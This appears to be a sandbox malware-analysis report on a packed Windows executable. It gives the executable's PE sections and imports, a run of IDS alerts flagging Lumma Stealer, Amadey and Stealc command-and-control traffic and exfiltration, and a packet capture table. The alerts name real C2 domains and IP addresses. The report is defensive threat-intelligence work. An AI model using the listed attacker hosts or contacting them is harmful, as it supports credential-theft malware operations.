add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	b8336d431e93e2a76e9900f7ceb7d4cb	False	0.9979121767241379	data	7.970164933759343	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
iktxewek	0x5b000	0x2a6000	0x2a5e00	8a8e5ac9f7cd8e85a1f08f30fe355cf5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nlvjxyrc	0x301000	0x1000	0x400	e09a4e60c74fd3deed70c72919726877	False	0.80859375	data	6.25275092196797	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x302000	0x3000	0x2200	2ab371d3f069253d1c454b18ca82908f	False	0.0625	DOS executable (COM)	0.7394546196786151	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T00:38:02.067528+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	62553	1.1.1.1	53	UDP
2024-11-01T00:38:02.081789+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	65460	1.1.1.1	53	UDP
2024-11-01T00:38:02.119799+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	58018	1.1.1.1	53	UDP
2024-11-01T00:38:02.130752+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	56521	1.1.1.1	53	UDP
2024-11-01T00:38:02.141121+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	58543	1.1.1.1	53	UDP
2024-11-01T00:38:02.799992+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49709	188.114.96.3	443	TCP
2024-11-01T00:38:02.799992+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	188.114.96.3	443	TCP
2024-11-01T00:38:03.614346+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49709	188.114.96.3	443	TCP
2024-11-01T00:38:03.614346+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	188.114.96.3	443	TCP
2024-11-01T00:38:04.284202+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49710	188.114.96.3	443	TCP
2024-11-01T00:38:04.284202+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	188.114.96.3	443	TCP
2024-11-01T00:38:04.763602+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49710	188.114.96.3	443	TCP
2024-11-01T00:38:04.763602+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	188.114.96.3	443	TCP
2024-11-01T00:38:05.596752+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49712	188.114.96.3	443	TCP
2024-11-01T00:38:05.596752+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	188.114.96.3	443	TCP
2024-11-01T00:38:06.364130+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49712	188.114.96.3	443	TCP
2024-11-01T00:38:07.328959+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49713	188.114.96.3	443	TCP
2024-11-01T00:38:07.328959+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	188.114.96.3	443	TCP
2024-11-01T00:38:09.008165+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49714	188.114.96.3	443	TCP
2024-11-01T00:38:09.008165+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49714	188.114.96.3	443	TCP
2024-11-01T00:38:10.641175+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49715	188.114.96.3	443	TCP
2024-11-01T00:38:10.641175+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49715	188.114.96.3	443	TCP
2024-11-01T00:38:12.241978+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49717	188.114.96.3	443	TCP
2024-11-01T00:38:12.241978+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49717	188.114.96.3	443	TCP
2024-11-01T00:38:14.850042+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49729	188.114.96.3	443	TCP
2024-11-01T00:38:14.850042+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49729	188.114.96.3	443	TCP
2024-11-01T00:38:15.177820+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49729	188.114.96.3	443	TCP
2024-11-01T00:38:16.106261+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49735	185.215.113.16	80	TCP
2024-11-01T00:38:19.770720+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.6	49746	TCP
2024-11-01T00:38:39.894528+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49866	185.215.113.43	80	TCP
2024-11-01T00:38:43.250700+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49887	185.215.113.16	80	TCP
2024-11-01T00:38:51.229950+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	59497	1.1.1.1	53	UDP
2024-11-01T00:38:51.243761+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	61186	1.1.1.1	53	UDP
2024-11-01T00:38:51.257324+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	52153	1.1.1.1	53	UDP
2024-11-01T00:38:51.270383+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	50950	1.1.1.1	53	UDP
2024-11-01T00:38:51.660313+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49881	TCP
2024-11-01T00:38:51.897240+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49939	188.114.96.3	443	TCP
2024-11-01T00:38:51.897240+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49939	188.114.96.3	443	TCP
2024-11-01T00:38:52.601073+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49939	188.114.96.3	443	TCP
2024-11-01T00:38:52.601073+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49939	188.114.96.3	443	TCP
2024-11-01T00:38:52.601735+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49943	185.215.113.43	80	TCP
2024-11-01T00:38:53.266675+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49949	188.114.96.3	443	TCP
2024-11-01T00:38:53.266675+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49949	188.114.96.3	443	TCP
2024-11-01T00:38:53.533225+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49948	185.215.113.16	80	TCP
2024-11-01T00:38:53.735401+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49949	188.114.96.3	443	TCP
2024-11-01T00:38:53.735401+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49949	188.114.96.3	443	TCP
2024-11-01T00:38:54.695703+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49958	188.114.96.3	443	TCP
2024-11-01T00:38:54.695703+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49958	188.114.96.3	443	TCP
2024-11-01T00:38:55.226468+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49958	188.114.96.3	443	TCP
2024-11-01T00:38:55.991776+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49967	188.114.96.3	443	TCP
2024-11-01T00:38:55.991776+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49967	188.114.96.3	443	TCP
2024-11-01T00:38:57.714025+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49978	188.114.96.3	443	TCP
2024-11-01T00:38:57.714025+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49978	188.114.96.3	443	TCP
2024-11-01T00:38:59.460082+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49989	188.114.96.3	443	TCP
2024-11-01T00:38:59.460082+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49989	188.114.96.3	443	TCP
2024-11-01T00:39:01.478998+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50000	188.114.96.3	443	TCP
2024-11-01T00:39:01.478998+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50000	188.114.96.3	443	TCP
2024-11-01T00:39:02.011507+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50001	185.215.113.43	80	TCP
2024-11-01T00:39:02.948378+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50004	185.215.113.16	80	TCP
2024-11-01T00:39:03.587939+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50005	185.215.113.206	80	TCP
2024-11-01T00:39:04.530976+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50006	188.114.96.3	443	TCP
2024-11-01T00:39:04.530976+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50006	188.114.96.3	443	TCP
2024-11-01T00:39:05.014204+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50006	188.114.96.3	443	TCP
2024-11-01T00:39:06.043801+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	50472	1.1.1.1	53	UDP
2024-11-01T00:39:06.219719+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50007	185.215.113.16	80	TCP
2024-11-01T00:39:06.233832+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	53511	1.1.1.1	53	UDP
2024-11-01T00:39:06.247746+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	53992	1.1.1.1	53	UDP
2024-11-01T00:39:06.259172+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	52791	1.1.1.1	53	UDP
2024-11-01T00:39:06.879812+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50008	188.114.96.3	443	TCP
2024-11-01T00:39:06.879812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50008	188.114.96.3	443	TCP
2024-11-01T00:39:07.399577+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50008	188.114.96.3	443	TCP
2024-11-01T00:39:07.399577+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50008	188.114.96.3	443	TCP
2024-11-01T00:39:08.091094+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50009	188.114.96.3	443	TCP
2024-11-01T00:39:08.091094+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50009	188.114.96.3	443	TCP
2024-11-01T00:39:08.573934+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50009	188.114.96.3	443	TCP
2024-11-01T00:39:08.573934+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50009	188.114.96.3	443	TCP
2024-11-01T00:39:09.561443+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50011	188.114.96.3	443	TCP
2024-11-01T00:39:09.561443+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50011	188.114.96.3	443	TCP
2024-11-01T00:39:09.817986+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50010	185.215.113.43	80	TCP
2024-11-01T00:39:10.724981+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50012	185.215.113.16	80	TCP
2024-11-01T00:39:10.724981+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50012	185.215.113.16	80	TCP
2024-11-01T00:39:11.870852+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50015	188.114.96.3	443	TCP
2024-11-01T00:39:11.870852+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50015	188.114.96.3	443	TCP
2024-11-01T00:39:15.030056+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50020	188.114.96.3	443	TCP
2024-11-01T00:39:15.030056+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50020	188.114.96.3	443	TCP
2024-11-01T00:39:16.305471+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50022	185.215.113.206	80	TCP
2024-11-01T00:39:17.346868+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50023	185.215.113.43	80	TCP
2024-11-01T00:39:20.378601+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50028	188.114.96.3	443	TCP
2024-11-01T00:39:20.378601+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50028	188.114.96.3	443	TCP
2024-11-01T00:39:23.356414+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50033	188.114.96.3	443	TCP
2024-11-01T00:39:23.356414+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50033	188.114.96.3	443	TCP
2024-11-01T00:39:23.923239+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50032	185.215.113.206	80	TCP
2024-11-01T00:39:25.951319+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50037	188.114.96.3	443	TCP
2024-11-01T00:39:25.951319+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50037	188.114.96.3	443	TCP
2024-11-01T00:39:26.476670+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50037	188.114.96.3	443	TCP
2024-11-01T00:39:27.400803+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50039	185.215.113.16	80	TCP
2024-11-01T00:39:30.773610+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50043	185.215.113.206	80	TCP
2024-11-01T00:39:38.261224+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	58525	1.1.1.1	53	UDP
2024-11-01T00:39:38.272143+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	63461	1.1.1.1	53	UDP
2024-11-01T00:39:38.290225+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	65047	1.1.1.1	53	UDP
2024-11-01T00:39:38.355215+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	52599	1.1.1.1	53	UDP
2024-11-01T00:39:39.006827+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50074	188.114.96.3	443	TCP
2024-11-01T00:39:39.006827+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50074	188.114.96.3	443	TCP
2024-11-01T00:39:39.561054+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50074	188.114.96.3	443	TCP
2024-11-01T00:39:39.561054+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50074	188.114.96.3	443	TCP
2024-11-01T00:39:40.729948+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50076	188.114.96.3	443	TCP
2024-11-01T00:39:40.729948+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50076	188.114.96.3	443	TCP
2024-11-01T00:39:41.203921+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50076	188.114.96.3	443	TCP
2024-11-01T00:39:41.203921+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50076	188.114.96.3	443	TCP
2024-11-01T00:39:42.107021+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50078	188.114.96.3	443	TCP
2024-11-01T00:39:42.107021+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50078	188.114.96.3	443	TCP
2024-11-01T00:39:42.682285+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50078	188.114.96.3	443	TCP
2024-11-01T00:39:43.311894+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50081	188.114.96.3	443	TCP
2024-11-01T00:39:43.311894+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50081	188.114.96.3	443	TCP
2024-11-01T00:39:44.364796+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50082	188.114.96.3	443	TCP
2024-11-01T00:39:44.364796+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50082	188.114.96.3	443	TCP
2024-11-01T00:39:45.677692+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50084	188.114.96.3	443	TCP
2024-11-01T00:39:45.677692+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50084	188.114.96.3	443	TCP
2024-11-01T00:39:47.079765+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50085	188.114.96.3	443	TCP
2024-11-01T00:39:47.079765+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50085	188.114.96.3	443	TCP
2024-11-01T00:39:47.675122+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50085	188.114.96.3	443	TCP
2024-11-01T00:39:48.287694+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50089	188.114.96.3	443	TCP
2024-11-01T00:39:48.287694+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50089	188.114.96.3	443	TCP
2024-11-01T00:39:48.731219+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50088	185.215.113.206	80	TCP
2024-11-01T00:39:48.771982+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50089	188.114.96.3	443	TCP
2024-11-01T00:39:49.700494+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50090	185.215.113.16	80	TCP
2024-11-01T00:40:04.775023+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50129	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 00:38:02.193475008 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:02.193536997 CET	443	49709	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:02.193666935 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:02.198143959 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:02.198172092 CET	443	49709	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:02.799834013 CET	443	49709	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:02.799992085 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:02.804089069 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:02.804097891 CET	443	49709	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:02.804318905 CET	443	49709	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:02.854887009 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:02.904860973 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:02.904860973 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:02.904968023 CET	443	49709	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:03.614356995 CET	443	49709	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:03.614444017 CET	443	49709	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:03.614523888 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:03.616020918 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:03.616039038 CET	443	49709	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:03.616050005 CET	49709	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:03.616055012 CET	443	49709	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:03.674235106 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:03.674278021 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:03.674369097 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:03.674762964 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:03.674781084 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.284014940 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.284202099 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.285501957 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.285517931 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.285727024 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.286889076 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.286911011 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.286956072 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.763606071 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.763650894 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.763689041 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.763710976 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.763719082 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.763730049 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.763762951 CET	49710	443	192.168.2.6	188.114.96.3
